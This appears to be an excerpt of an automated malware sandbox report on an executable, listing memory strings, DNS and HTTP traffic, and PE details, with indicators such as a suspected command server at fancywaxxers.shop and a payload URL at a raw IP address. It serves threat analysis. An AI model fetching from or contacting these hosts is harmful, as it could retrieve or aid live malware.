Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: fancywaxxers.shop
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: zhMQ0hNEmb.exe, 00000000.00000003.1641981669.0000000000F40000.00000004.00000020.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1728720896.0000000000CBB000.00000004.00000010.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1728980011.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1641981669.0000000000F40000.00000004.00000020.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1728980011.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeSRrd
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_93.6.dr	String found in binary or memory: http://schema.org/Organization
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_93.6.dr, chromecache_91.6.dr, chromecache_124.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_93.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_93.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_93.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: zhMQ0hNEmb.exe, 00000000.00000003.1534851683.0000000000F42000.00000004.00000020.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1641981669.0000000000F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: zhMQ0hNEmb.exe, 00000000.00000003.1482594163.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1481862170.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1495462314.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1482037955.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1481181918.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1495484641.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1481806453.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1482470829.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1481215931.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1481072283.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: zhMQ0hNEmb.exe, 00000000.00000003.1525849212.0000000000F3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/~
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/nschonni
Source: zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_93.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_123.6.dr	String found in binary or memory: https://schema.org
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_123.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_104.6.dr, chromecache_123.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.9:49713 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: zhMQ0hNEmb.exe	Static PE information: section name:
Source: zhMQ0hNEmb.exe	Static PE information: section name: .idata
Source: zhMQ0hNEmb.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C055C9	0_2_05C055C9
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFD5B1	0_2_05BFD5B1
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C26DD8	0_2_05C26DD8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3F5EC	0_2_05C3F5EC
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C365F0	0_2_05C365F0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C29DFF	0_2_05C29DFF
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2AD86	0_2_05C2AD86
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFB5E5	0_2_05BFB5E5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3DDBE	0_2_05C3DDBE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2F543	0_2_05C2F543
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2E540	0_2_05C2E540
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1B542	0_2_05C1B542
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0955B	0_2_05C0955B
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C34562	0_2_05C34562
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFE508	0_2_05BFE508
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFCD71	0_2_05BFCD71
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3FD1E	0_2_05C3FD1E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFC559	0_2_05BFC559
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C32D29	0_2_05C32D29
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16535	0_2_05C16535
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1E536	0_2_05C1E536
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB	0_2_05BF5CBB
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C404C9	0_2_05C404C9
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFACAA	0_2_05BFACAA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C24CDA	0_2_05C24CDA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF6CA4	0_2_05BF6CA4
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2DCE3	0_2_05C2DCE3
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C354E2	0_2_05C354E2
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1DCE4	0_2_05C1DCE4
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C394F7	0_2_05C394F7
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C334FA	0_2_05C334FA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C31C81	0_2_05C31C81
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C15C87	0_2_05C15C87
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C21491	0_2_05C21491
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C33CAD	0_2_05C33CAD
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0A4B0	0_2_05C0A4B0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2B445	0_2_05C2B445
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5C2E	0_2_05BF5C2E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C04C59	0_2_05C04C59
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C11C5D	0_2_05C11C5D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF741F	0_2_05BF741F
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0DC60	0_2_05C0DC60
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0FC63	0_2_05C0FC63
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C28C67	0_2_05C28C67
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3CC69	0_2_05C3CC69
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0E46C	0_2_05C0E46C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C06C00	0_2_05C06C00
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C31427	0_2_05C31427
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFEC58	0_2_05BFEC58
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C38C2D	0_2_05C38C2D
